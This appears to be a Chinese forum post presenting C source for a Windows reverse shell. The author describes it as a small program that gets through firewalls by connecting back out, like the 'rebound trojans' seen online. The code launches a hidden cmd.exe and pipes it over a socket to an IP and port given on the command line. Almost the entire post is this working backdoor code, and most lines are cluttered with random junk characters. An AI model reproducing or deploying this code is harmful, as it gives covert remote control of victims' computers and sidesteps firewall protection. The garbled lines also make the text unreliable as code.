Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 zX3O_  
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/* ============================== "?]5"lNC|  
Rebound port in Windows NT 8s|r'  
By wind,2006/7 ~_K  
===============================*/ Dq\#:NnKvx  
#include :D(:(`A=  
#include P0W%30Dh  
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#pragma comment(lib,"wsock32.lib") %o~zsIl  
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void OutputShell(); 1r@v \#P  
SOCKET sClient; }3@`'i7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h~dM*yo;  
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void main(int argc,char **argv) GSl\n"S]=  
{ U5Rzfm4  
WSADATA stWsaData; }D0j%~&"e  
int nRet; `W"-jz5#=  
SOCKADDR_IN stSaiClient,stSaiServer; $ \jly  
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if(argc != 3) 8z@A/$T  
{ ,2u]rLxx;  
printf("Useage:\n\rRebound DestIP DestPort\n"); jJ9|  
return; ow+
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} Yd]f}5F  
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WSAStartup(MAKEWORD(2,2),&stWsaData); cZ5[A
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B^eea[  
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stSaiClient.sin_family = AF_INET; t
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stSaiClient.sin_port = htons(0); 18a6i^7  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |s|RJA1  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) guBOR0x`  
{ MTr _8tI  
printf("Bind Socket Failed!\n"); YV0e)bf  
return;
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} !zD| @sX{  
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stSaiServer.sin_family = AF_INET; `,TPd ~#~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0ro)e~_@*  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1`b?nX  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G.L4l|%W  
{ hd+JKh!u  
printf("Connect Error!"); F/mD05{  
return; 8amtTM  
} d@`yRueWiV  
OutputShell(); #~(@Ka.eA0  
} TLi0*)}  
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void OutputShell() S# SA:>8s  
{ ZSxKk6n}J  
char szBuff[1024]; 5PdC4vI*+  
SECURITY_ATTRIBUTES stSecurityAttributes; )-[X^l j  
OSVERSIONINFO stOsversionInfo; \}Hk`n)Aq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; b@nbXm]Z  
STARTUPINFO stStartupInfo; S&@~F|  
char *szShell; 6jom6/F 4  
PROCESS_INFORMATION stProcessInformation; ZN
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unsigned long lBytesRead; 0!xD
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~KEnZa0  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >C@fSmnOM  
stSecurityAttributes.lpSecurityDescriptor = 0; +BmA4/P$  
stSecurityAttributes.bInheritHandle = TRUE; df}B:?Ew.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); eDG=-a4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |)1"*`z  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ZO:{9vt=/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >pz/wTOi  
stStartupInfo.wShowWindow = SW_HIDE; -K+grsb g  
stStartupInfo.hStdInput = hReadPipe; J>x)J}:;  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; R0{+Xd  
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GetVersionEx(&stOsversionInfo); %J3#4gG^v  
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switch(stOsversionInfo.dwPlatformId) PE+N5n2Tl  
{  ,8@@r7  
case 1: <#sB ;  
szShell = "command.com"; RDk{;VED{  
break; F^KoEWj[H  
default: *9*6n\~aI  
szShell = "cmd.exe"; ">NBPanJ  
break; <Eq^rh  
} rXvvJIbi  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); foaNB=,  
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send(sClient,szMsg,77,0); ^h=;]vxO  
while(1) 65qH  
{ Kq{9:G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4TUe*F@ ML  
if(lBytesRead) Z3"f7l6  
{ 7vgz=- MZ#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dEns|r  
send(sClient,szBuff,lBytesRead,0); si0jXue~j\  
} }4\>q$8'  
else m &c8@-T  
{ Fpl<2eBg4  
lBytesRead=recv(sClient,szBuff,1024,0); ,c}Q;eYc3  
if(lBytesRead<=0) break; H#G'q_uHH  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PJ9JRG7j  
} n(-XI&Kn  
} z$H |8L  
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return; L<5go\!bV  
}